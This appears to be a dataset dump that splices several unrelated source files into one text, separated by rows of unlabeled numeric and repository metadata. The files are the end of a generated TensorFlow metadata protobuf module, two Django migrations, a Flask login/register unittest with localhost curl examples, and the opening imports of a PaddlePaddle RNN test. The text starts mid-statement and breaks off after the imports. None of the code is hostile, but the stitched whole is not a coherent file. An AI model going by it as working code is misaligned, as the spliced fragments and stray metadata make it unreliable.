_LIFTSERIES.fields_by_name['weighted_y_count'])
_LIFTSERIES.fields_by_name['weighted_y_count'].containing_oneof = _LIFTSERIES.oneofs_by_name['y_count_value']
_FEATURENAMESTATISTICS.fields_by_name['path'].message_type = tensorflow__metadata_dot_proto_dot_v0_dot_path__pb2._PATH
_FEATURENAMESTATISTICS.fields_by_name['type'].enum_type = _FEATURENAMESTATISTICS_TYPE
_FEATURENAMESTATISTICS.fields_by_name['num_stats'].message_type = _NUMERICSTATISTICS
_FEATURENAMESTATISTICS.fields_by_name['string_stats'].message_type = _STRINGSTATISTICS
_FEATURENAMESTATISTICS.fields_by_name['bytes_stats'].message_type = _BYTESSTATISTICS
_FEATURENAMESTATISTICS.fields_by_name['struct_stats'].message_type = _STRUCTSTATISTICS
_FEATURENAMESTATISTICS.fields_by_name['custom_stats'].message_type = _CUSTOMSTATISTIC
_FEATURENAMESTATISTICS_TYPE.containing_type = _FEATURENAMESTATISTICS
_FEATURENAMESTATISTICS.oneofs_by_name['field_id'].fields.append(
_FEATURENAMESTATISTICS.fields_by_name['name'])
_FEATURENAMESTATISTICS.fields_by_name['name'].containing_oneof = _FEATURENAMESTATISTICS.oneofs_by_name['field_id']
_FEATURENAMESTATISTICS.oneofs_by_name['field_id'].fields.append(
_FEATURENAMESTATISTICS.fields_by_name['path'])
_FEATURENAMESTATISTICS.fields_by_name['path'].containing_oneof = _FEATURENAMESTATISTICS.oneofs_by_name['field_id']
_FEATURENAMESTATISTICS.oneofs_by_name['stats'].fields.append(
_FEATURENAMESTATISTICS.fields_by_name['num_stats'])
_FEATURENAMESTATISTICS.fields_by_name['num_stats'].containing_oneof = _FEATURENAMESTATISTICS.oneofs_by_name['stats']
_FEATURENAMESTATISTICS.oneofs_by_name['stats'].fields.append(
_FEATURENAMESTATISTICS.fields_by_name['string_stats'])
_FEATURENAMESTATISTICS.fields_by_name['string_stats'].containing_oneof = _FEATURENAMESTATISTICS.oneofs_by_name['stats']
_FEATURENAMESTATISTICS.oneofs_by_name['stats'].fields.append(
_FEATURENAMESTATISTICS.fields_by_name['bytes_stats'])
_FEATURENAMESTATISTICS.fields_by_name['bytes_stats'].containing_oneof = _FEATURENAMESTATISTICS.oneofs_by_name['stats']
_FEATURENAMESTATISTICS.oneofs_by_name['stats'].fields.append(
_FEATURENAMESTATISTICS.fields_by_name['struct_stats'])
_FEATURENAMESTATISTICS.fields_by_name['struct_stats'].containing_oneof = _FEATURENAMESTATISTICS.oneofs_by_name['stats']
_CUSTOMSTATISTIC.fields_by_name['histogram'].message_type = _HISTOGRAM
_CUSTOMSTATISTIC.fields_by_name['rank_histogram'].message_type = _RANKHISTOGRAM
_CUSTOMSTATISTIC.oneofs_by_name['val'].fields.append(
_CUSTOMSTATISTIC.fields_by_name['num'])
_CUSTOMSTATISTIC.fields_by_name['num'].containing_oneof = _CUSTOMSTATISTIC.oneofs_by_name['val']
_CUSTOMSTATISTIC.oneofs_by_name['val'].fields.append(
_CUSTOMSTATISTIC.fields_by_name['str'])
_CUSTOMSTATISTIC.fields_by_name['str'].containing_oneof = _CUSTOMSTATISTIC.oneofs_by_name['val']
_CUSTOMSTATISTIC.oneofs_by_name['val'].fields.append(
_CUSTOMSTATISTIC.fields_by_name['histogram'])
_CUSTOMSTATISTIC.fields_by_name['histogram'].containing_oneof = _CUSTOMSTATISTIC.oneofs_by_name['val']
_CUSTOMSTATISTIC.oneofs_by_name['val'].fields.append(
_CUSTOMSTATISTIC.fields_by_name['rank_histogram'])
_CUSTOMSTATISTIC.fields_by_name['rank_histogram'].containing_oneof = _CUSTOMSTATISTIC.oneofs_by_name['val']
_NUMERICSTATISTICS.fields_by_name['common_stats'].message_type = _COMMONSTATISTICS
_NUMERICSTATISTICS.fields_by_name['histograms'].message_type = _HISTOGRAM
_NUMERICSTATISTICS.fields_by_name['weighted_numeric_stats'].message_type = _WEIGHTEDNUMERICSTATISTICS
_STRINGSTATISTICS_FREQANDVALUE.containing_type = _STRINGSTATISTICS
_STRINGSTATISTICS.fields_by_name['common_stats'].message_type = _COMMONSTATISTICS
_STRINGSTATISTICS.fields_by_name['top_values'].message_type = _STRINGSTATISTICS_FREQANDVALUE
_STRINGSTATISTICS.fields_by_name['rank_histogram'].message_type = _RANKHISTOGRAM
_STRINGSTATISTICS.fields_by_name['weighted_string_stats'].message_type = _WEIGHTEDSTRINGSTATISTICS
_WEIGHTEDNUMERICSTATISTICS.fields_by_name['histograms'].message_type = _HISTOGRAM
_WEIGHTEDSTRINGSTATISTICS.fields_by_name['top_values'].message_type = _STRINGSTATISTICS_FREQANDVALUE
_WEIGHTEDSTRINGSTATISTICS.fields_by_name['rank_histogram'].message_type = _RANKHISTOGRAM
_BYTESSTATISTICS.fields_by_name['common_stats'].message_type = _COMMONSTATISTICS
_STRUCTSTATISTICS.fields_by_name['common_stats'].message_type = _COMMONSTATISTICS
_COMMONSTATISTICS.fields_by_name['num_values_histogram'].message_type = _HISTOGRAM
_COMMONSTATISTICS.fields_by_name['weighted_common_stats'].message_type = _WEIGHTEDCOMMONSTATISTICS
_COMMONSTATISTICS.fields_by_name['feature_list_length_histogram'].message_type = _HISTOGRAM
_HISTOGRAM_BUCKET.containing_type = _HISTOGRAM
_HISTOGRAM.fields_by_name['buckets'].message_type = _HISTOGRAM_BUCKET
_HISTOGRAM.fields_by_name['type'].enum_type = _HISTOGRAM_HISTOGRAMTYPE
_HISTOGRAM_HISTOGRAMTYPE.containing_type = _HISTOGRAM
_RANKHISTOGRAM_BUCKET.containing_type = _RANKHISTOGRAM
_RANKHISTOGRAM.fields_by_name['buckets'].message_type = _RANKHISTOGRAM_BUCKET
DESCRIPTOR.message_types_by_name['DatasetFeatureStatisticsList'] = _DATASETFEATURESTATISTICSLIST
DESCRIPTOR.message_types_by_name['DatasetFeatureStatistics'] = _DATASETFEATURESTATISTICS
DESCRIPTOR.message_types_by_name['CrossFeatureStatistics'] = _CROSSFEATURESTATISTICS
DESCRIPTOR.message_types_by_name['NumericCrossStatistics'] = _NUMERICCROSSSTATISTICS
DESCRIPTOR.message_types_by_name['CategoricalCrossStatistics'] = _CATEGORICALCROSSSTATISTICS
DESCRIPTOR.message_types_by_name['LiftStatistics'] = _LIFTSTATISTICS
DESCRIPTOR.message_types_by_name['LiftSeries'] = _LIFTSERIES
DESCRIPTOR.message_types_by_name['FeatureNameStatistics'] = _FEATURENAMESTATISTICS
DESCRIPTOR.message_types_by_name['WeightedCommonStatistics'] = _WEIGHTEDCOMMONSTATISTICS
DESCRIPTOR.message_types_by_name['CustomStatistic'] = _CUSTOMSTATISTIC
DESCRIPTOR.message_types_by_name['NumericStatistics'] = _NUMERICSTATISTICS
DESCRIPTOR.message_types_by_name['StringStatistics'] = _STRINGSTATISTICS
DESCRIPTOR.message_types_by_name['WeightedNumericStatistics'] = _WEIGHTEDNUMERICSTATISTICS
DESCRIPTOR.message_types_by_name['WeightedStringStatistics'] = _WEIGHTEDSTRINGSTATISTICS
DESCRIPTOR.message_types_by_name['BytesStatistics'] = _BYTESSTATISTICS
DESCRIPTOR.message_types_by_name['StructStatistics'] = _STRUCTSTATISTICS
DESCRIPTOR.message_types_by_name['CommonStatistics'] = _COMMONSTATISTICS
DESCRIPTOR.message_types_by_name['Histogram'] = _HISTOGRAM
DESCRIPTOR.message_types_by_name['RankHistogram'] = _RANKHISTOGRAM
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
DatasetFeatureStatisticsList = _reflection.GeneratedProtocolMessageType('DatasetFeatureStatisticsList', (_message.Message,), {
'DESCRIPTOR' : _DATASETFEATURESTATISTICSLIST,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.DatasetFeatureStatisticsList)
})
_sym_db.RegisterMessage(DatasetFeatureStatisticsList)
DatasetFeatureStatistics = _reflection.GeneratedProtocolMessageType('DatasetFeatureStatistics', (_message.Message,), {
'DESCRIPTOR' : _DATASETFEATURESTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.DatasetFeatureStatistics)
})
_sym_db.RegisterMessage(DatasetFeatureStatistics)
CrossFeatureStatistics = _reflection.GeneratedProtocolMessageType('CrossFeatureStatistics', (_message.Message,), {
'DESCRIPTOR' : _CROSSFEATURESTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.CrossFeatureStatistics)
})
_sym_db.RegisterMessage(CrossFeatureStatistics)
NumericCrossStatistics = _reflection.GeneratedProtocolMessageType('NumericCrossStatistics', (_message.Message,), {
'DESCRIPTOR' : _NUMERICCROSSSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.NumericCrossStatistics)
})
_sym_db.RegisterMessage(NumericCrossStatistics)
CategoricalCrossStatistics = _reflection.GeneratedProtocolMessageType('CategoricalCrossStatistics', (_message.Message,), {
'DESCRIPTOR' : _CATEGORICALCROSSSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.CategoricalCrossStatistics)
})
_sym_db.RegisterMessage(CategoricalCrossStatistics)
LiftStatistics = _reflection.GeneratedProtocolMessageType('LiftStatistics', (_message.Message,), {
'DESCRIPTOR' : _LIFTSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.LiftStatistics)
})
_sym_db.RegisterMessage(LiftStatistics)
LiftSeries = _reflection.GeneratedProtocolMessageType('LiftSeries', (_message.Message,), {
'Bucket' : _reflection.GeneratedProtocolMessageType('Bucket', (_message.Message,), {
'DESCRIPTOR' : _LIFTSERIES_BUCKET,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.LiftSeries.Bucket)
})
,
'LiftValue' : _reflection.GeneratedProtocolMessageType('LiftValue', (_message.Message,), {
'DESCRIPTOR' : _LIFTSERIES_LIFTVALUE,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.LiftSeries.LiftValue)
})
,
'DESCRIPTOR' : _LIFTSERIES,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.LiftSeries)
})
_sym_db.RegisterMessage(LiftSeries)
_sym_db.RegisterMessage(LiftSeries.Bucket)
_sym_db.RegisterMessage(LiftSeries.LiftValue)
FeatureNameStatistics = _reflection.GeneratedProtocolMessageType('FeatureNameStatistics', (_message.Message,), {
'DESCRIPTOR' : _FEATURENAMESTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.FeatureNameStatistics)
})
_sym_db.RegisterMessage(FeatureNameStatistics)
WeightedCommonStatistics = _reflection.GeneratedProtocolMessageType('WeightedCommonStatistics', (_message.Message,), {
'DESCRIPTOR' : _WEIGHTEDCOMMONSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.WeightedCommonStatistics)
})
_sym_db.RegisterMessage(WeightedCommonStatistics)
CustomStatistic = _reflection.GeneratedProtocolMessageType('CustomStatistic', (_message.Message,), {
'DESCRIPTOR' : _CUSTOMSTATISTIC,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.CustomStatistic)
})
_sym_db.RegisterMessage(CustomStatistic)
NumericStatistics = _reflection.GeneratedProtocolMessageType('NumericStatistics', (_message.Message,), {
'DESCRIPTOR' : _NUMERICSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.NumericStatistics)
})
_sym_db.RegisterMessage(NumericStatistics)
StringStatistics = _reflection.GeneratedProtocolMessageType('StringStatistics', (_message.Message,), {
'FreqAndValue' : _reflection.GeneratedProtocolMessageType('FreqAndValue', (_message.Message,), {
'DESCRIPTOR' : _STRINGSTATISTICS_FREQANDVALUE,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.StringStatistics.FreqAndValue)
})
,
'DESCRIPTOR' : _STRINGSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.StringStatistics)
})
_sym_db.RegisterMessage(StringStatistics)
_sym_db.RegisterMessage(StringStatistics.FreqAndValue)
WeightedNumericStatistics = _reflection.GeneratedProtocolMessageType('WeightedNumericStatistics', (_message.Message,), {
'DESCRIPTOR' : _WEIGHTEDNUMERICSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.WeightedNumericStatistics)
})
_sym_db.RegisterMessage(WeightedNumericStatistics)
WeightedStringStatistics = _reflection.GeneratedProtocolMessageType('WeightedStringStatistics', (_message.Message,), {
'DESCRIPTOR' : _WEIGHTEDSTRINGSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.WeightedStringStatistics)
})
_sym_db.RegisterMessage(WeightedStringStatistics)
BytesStatistics = _reflection.GeneratedProtocolMessageType('BytesStatistics', (_message.Message,), {
'DESCRIPTOR' : _BYTESSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.BytesStatistics)
})
_sym_db.RegisterMessage(BytesStatistics)
StructStatistics = _reflection.GeneratedProtocolMessageType('StructStatistics', (_message.Message,), {
'DESCRIPTOR' : _STRUCTSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.StructStatistics)
})
_sym_db.RegisterMessage(StructStatistics)
CommonStatistics = _reflection.GeneratedProtocolMessageType('CommonStatistics', (_message.Message,), {
'DESCRIPTOR' : _COMMONSTATISTICS,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.CommonStatistics)
})
_sym_db.RegisterMessage(CommonStatistics)
Histogram = _reflection.GeneratedProtocolMessageType('Histogram', (_message.Message,), {
'Bucket' : _reflection.GeneratedProtocolMessageType('Bucket', (_message.Message,), {
'DESCRIPTOR' : _HISTOGRAM_BUCKET,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.Histogram.Bucket)
})
,
'DESCRIPTOR' : _HISTOGRAM,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.Histogram)
})
_sym_db.RegisterMessage(Histogram)
_sym_db.RegisterMessage(Histogram.Bucket)
RankHistogram = _reflection.GeneratedProtocolMessageType('RankHistogram', (_message.Message,), {
'Bucket' : _reflection.GeneratedProtocolMessageType('Bucket', (_message.Message,), {
'DESCRIPTOR' : _RANKHISTOGRAM_BUCKET,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.RankHistogram.Bucket)
})
,
'DESCRIPTOR' : _RANKHISTOGRAM,
'__module__' : 'tensorflow_metadata.proto.v0.statistics_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.metadata.v0.RankHistogram)
})
_sym_db.RegisterMessage(RankHistogram)
_sym_db.RegisterMessage(RankHistogram.Bucket)
DESCRIPTOR._options = None
# @@protoc_insertion_point(module_scope)
| 49.896866
| 7,630
| 0.775069
| 10,876
| 87,569
| 5.891596
| 0.039904
| 0.043073
| 0.067013
| 0.060677
| 0.80951
| 0.776269
| 0.728452
| 0.685254
| 0.64964
| 0.631163
| 0
| 0.035981
| 0.107858
| 87,569
| 1,754
| 7,631
| 49.925314
| 0.784215
| 0.024952
| 0
| 0.702128
| 1
| 0.020061
| 0.19304
| 0.152373
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.00304
| 0
| 0.00304
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
214a7bdd0a4052375504fa571b75f9ea47f8d2e2
| 3,029
|
py
|
Python
|
bvspca/core/migrations/0017_auto_20171229_1052.py
|
rds0751/bvspca
|
f80eb90938f9db81d5c72a25aaa98869bbd6663a
|
[
"MIT"
] | 10
|
2019-02-25T07:06:09.000Z
|
2022-03-23T08:12:06.000Z
|
bvspca/core/migrations/0017_auto_20171229_1052.py
|
rds0751/bvspca
|
f80eb90938f9db81d5c72a25aaa98869bbd6663a
|
[
"MIT"
] | 18
|
2021-03-08T18:38:04.000Z
|
2021-08-20T14:16:37.000Z
|
bvspca/core/migrations/0017_auto_20171229_1052.py
|
rds0751/bvspca
|
f80eb90938f9db81d5c72a25aaa98869bbd6663a
|
[
"MIT"
] | 3
|
2019-01-29T05:14:22.000Z
|
2021-02-18T11:58:34.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.8 on 2017-12-29 17:52
from __future__ import unicode_literals
from django.db import migrations
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.images.blocks
class Migration(migrations.Migration):
dependencies = [
('core', '0016_auto_20171212_1107'),
]
operations = [
migrations.AlterField(
model_name='adoptioncentre',
name='body',
field=wagtail.core.fields.StreamField((('picture_links', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock((('title', wagtail.core.blocks.CharBlock(max_length=50)), ('image', wagtail.images.blocks.ImageChooserBlock()), ('page', wagtail.core.blocks.PageChooserBlock()))), template='core/blocks/picture_links.html')),), blank=True),
),
migrations.AlterField(
model_name='teampage',
name='group1_members',
field=wagtail.core.fields.StreamField((('member', wagtail.core.blocks.StructBlock((('name', wagtail.core.blocks.CharBlock(max_length=50)), ('role', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('role_since', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('location', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('pets', wagtail.core.blocks.CharBlock(max_length=200, required=False)), ('bio', wagtail.core.blocks.RichTextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock(required=False))))),), blank=True, verbose_name='members'),
),
migrations.AlterField(
model_name='teampage',
name='group2_members',
field=wagtail.core.fields.StreamField((('member', wagtail.core.blocks.StructBlock((('name', wagtail.core.blocks.CharBlock(max_length=50)), ('role', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('role_since', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('location', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('pets', wagtail.core.blocks.CharBlock(max_length=200, required=False)), ('bio', wagtail.core.blocks.RichTextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock(required=False))))),), blank=True, verbose_name='members'),
),
migrations.AlterField(
model_name='teampage',
name='group3_members',
field=wagtail.core.fields.StreamField((('member', wagtail.core.blocks.StructBlock((('name', wagtail.core.blocks.CharBlock(max_length=50)), ('role', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('role_since', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('location', wagtail.core.blocks.CharBlock(max_length=50, required=False)), ('pets', wagtail.core.blocks.CharBlock(max_length=200, required=False)), ('bio', wagtail.core.blocks.RichTextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock(required=False))))),), blank=True, verbose_name='members'),
),
]
| 77.666667
| 619
| 0.710135
| 354
| 3,029
| 5.966102
| 0.211864
| 0.161458
| 0.20928
| 0.19697
| 0.756155
| 0.74053
| 0.721117
| 0.703598
| 0.703598
| 0.703598
| 0
| 0.026642
| 0.120172
| 3,029
| 38
| 620
| 79.710526
| 0.765854
| 0.02245
| 0
| 0.451613
| 1
| 0
| 0.108519
| 0.017918
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.16129
| 0
| 0.258065
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
dcbc66679607540042517ad3aa52e6335a54af3d
| 2,696
|
py
|
Python
|
src/api/migrations/0003_auto_20220328_0004.py
|
IkramKhan-DevOps/cs-neuro-ai
|
99958131bba526b1e551274540a7b414fc1c9e43
|
[
"MIT"
] | null | null | null |
src/api/migrations/0003_auto_20220328_0004.py
|
IkramKhan-DevOps/cs-neuro-ai
|
99958131bba526b1e551274540a7b414fc1c9e43
|
[
"MIT"
] | null | null | null |
src/api/migrations/0003_auto_20220328_0004.py
|
IkramKhan-DevOps/cs-neuro-ai
|
99958131bba526b1e551274540a7b414fc1c9e43
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.2.12 on 2022-03-27 19:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0002_auto_20220327_2250'),
]
operations = [
migrations.AddField(
model_name='predication',
name='avg_vocal_fundamental_frequency',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='d2',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='dfa',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='hnr',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='jitter',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='max_vocal_fundamental_frequency',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='min_vocal_fundamental_frequency',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='nhr',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='ppe',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='rpde',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='shimmer',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='spread1',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='spread2',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='predication',
name='status',
field=models.IntegerField(default=0),
),
migrations.AlterField(
model_name='predication',
name='audio',
field=models.FileField(help_text='Please record voice [15sec-45sec] voice must be .wmv format', upload_to='audios/'),
),
]
| 30.292135
| 129
| 0.545623
| 231
| 2,696
| 6.242424
| 0.294372
| 0.09362
| 0.208044
| 0.249653
| 0.767684
| 0.767684
| 0.710125
| 0.710125
| 0.710125
| 0.710125
| 0
| 0.029809
| 0.340504
| 2,696
| 88
| 130
| 30.636364
| 0.781215
| 0.017062
| 0
| 0.707317
| 1
| 0
| 0.153323
| 0.043807
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.012195
| 0
| 0.04878
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
b49af44fbdbc414586b26d4e98f07091e805a838
| 2,913
|
py
|
Python
|
NNServer/test/test_app.py
|
yinkn/iam_plus
|
9b3912147e3a66cf3726ce074d03372d873c3c79
|
[
"Apache-2.0"
] | null | null | null |
NNServer/test/test_app.py
|
yinkn/iam_plus
|
9b3912147e3a66cf3726ce074d03372d873c3c79
|
[
"Apache-2.0"
] | null | null | null |
NNServer/test/test_app.py
|
yinkn/iam_plus
|
9b3912147e3a66cf3726ce074d03372d873c3c79
|
[
"Apache-2.0"
] | null | null | null |
"""
curl -i -X POST -H "Content-Type:application/json" http://localhost:5000/train -d '{"userName":"TEST1","dataset":[[-15, -57, 88, 50, 16, 83, 198, 16, -70],[202, -53, 140, 134, 0, 84, 165, -16, -15],[15, -67, 96, 108, 0, 79, 212, -16, -23],[16, -67, 126, 119, -15, 67, 258, -16, -16],[53, -65, 155, 59, 15, 65, 179, -16, 15],[56, -68, 104, 137, -16, 88, 382, 16, -70]], "dataset2":[[41, -47, 1065, -15, 85, 181, 892, 16, -15],[15, -15, 922, 164, 80, 488, 302, 67, 51],[448, 1770, 2118, 1348, 495, 117, 1286, 430, 633],[47, -34, 1405, 75, 49, 228, 1115, 89, 16],[550, 1080, 383, 321, 97, 350, 1420, 43, 1114],[89, 430, 1034, 97, 36, 112, 387, 57, 16]]}'
curl -i -X POST -H "Content-Type:application/json" http://localhost:5000/predict -d '{"userName":"DEMO1","dataset":[[200,27,102,80,-36,80,579,66,21,61,208,71,-110]]}'
"""
"""
curl -i -X POST -H "Content-Type:application/json" http://localhost:5000/register -d '{"userName":"TEST1","dataset":[[-15, -57, 88, 50, 16, 83, 198, 16, -70],[202, -53, 140, 134, 0, 84, 165, -16, -15],[15, -67, 96, 108, 0, 79, 212, -16, -23],[16, -67, 126, 119, -15, 67, 258, -16, -16],[53, -65, 155, 59, 15, 65, 179, -16, 15],[56, -68, 104, 137, -16, 88, 382, 16, -70]], "dataset2":[[41, -47, 1065, -15, 85, 181, 892, 16, -15],[15, -15, 922, 164, 80, 488, 302, 67, 51],[448, 1770, 2118, 1348, 495, 117, 1286, 430, 633],[47, -34, 1405, 75, 49, 228, 1115, 89, 16],[550, 1080, 383, 321, 97, 350, 1420, 43, 1114],[89, 430, 1034, 97, 36, 112, 387, 57, 16]]}'
curl -i -X POST -H "Content-Type:application/json" http://localhost:5000/login -d '{"userName":"DEMO1","dataset":[[200,27,102,80,-36,80,579,66,21,61,208,71,-110]]}'
curl -i -X POST -H "Content-Type:application/json" http://localhost:5000/train -d '{"userName":"test3", "password":""}'
"""
import os
import sys
import unittest
import json
import logging
sys.path.append("../src")
import app
class FlaskAppTest(unittest.TestCase):
def setUp(self):
self.client = app.app.test_client()
def tearDown(self):
pass
def test_register_login(self):
logging.debug("test_login:")
response = self.client.post('/register',
data=json.dumps({"userName":"DEMO1", "password":"12345","dataset":[[200,27,102,80,-36,80,579,66,21,61,208,71,-110],[200,27,102,80,-36,80,579,66,21,61,208,71,-110]]})
, content_type='application/json'
, follow_redirects=True)
self.assertEqual(response.status_code, 200)
logging.debug("test_login:")
response = self.client.post('/login',
data=json.dumps({"userName":"DEMO1", "password":"12345","dataset":[[200,27,102,80,-36,80,579,66,21,61,208,71,-110],[200,27,102,80,-36,80,579,66,21,61,208,71,-110]]})
, content_type='application/json'
, follow_redirects=True)
self.assertEqual(response.status_code, 200)
if __name__ == '__main__':
app.init_log()
unittest.main()
| 60.6875
| 657
| 0.599382
| 487
| 2,913
| 3.544148
| 0.293635
| 0.044612
| 0.089224
| 0.105446
| 0.84299
| 0.84299
| 0.84299
| 0.84299
| 0.793163
| 0.793163
| 0
| 0.31367
| 0.156196
| 2,913
| 48
| 658
| 60.6875
| 0.388527
| 0.28184
| 0
| 0.357143
| 0
| 0
| 0.131509
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 1
| 0.107143
| false
| 0.107143
| 0.214286
| 0
| 0.357143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
b4a5887c593bd7a9995f589acd3bd2b7aaa0fab9
| 10,959
|
py
|
Python
|
python/paddle/fluid/tests/unittests/rnn/test_rnn_cells_static.py
|
L-Net-1992/Paddle
|
4d0ca02ba56760b456f3d4b42a538555b9b6c307
|
[
"Apache-2.0"
] | 11
|
2016-08-29T07:43:26.000Z
|
2016-08-29T07:51:24.000Z
|
python/paddle/fluid/tests/unittests/rnn/test_rnn_cells_static.py
|
L-Net-1992/Paddle
|
4d0ca02ba56760b456f3d4b42a538555b9b6c307
|
[
"Apache-2.0"
] | null | null | null |
python/paddle/fluid/tests/unittests/rnn/test_rnn_cells_static.py
|
L-Net-1992/Paddle
|
4d0ca02ba56760b456f3d4b42a538555b9b6c307
|
[
"Apache-2.0"
] | 1
|
2021-09-24T11:23:36.000Z
|
2021-09-24T11:23:36.000Z
|
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import paddle
paddle.framework.set_default_dtype("float64")
paddle.enable_static()
import numpy as np
import unittest
from convert import convert_params_for_cell_static
from rnn_numpy import SimpleRNNCell, LSTMCell, GRUCell
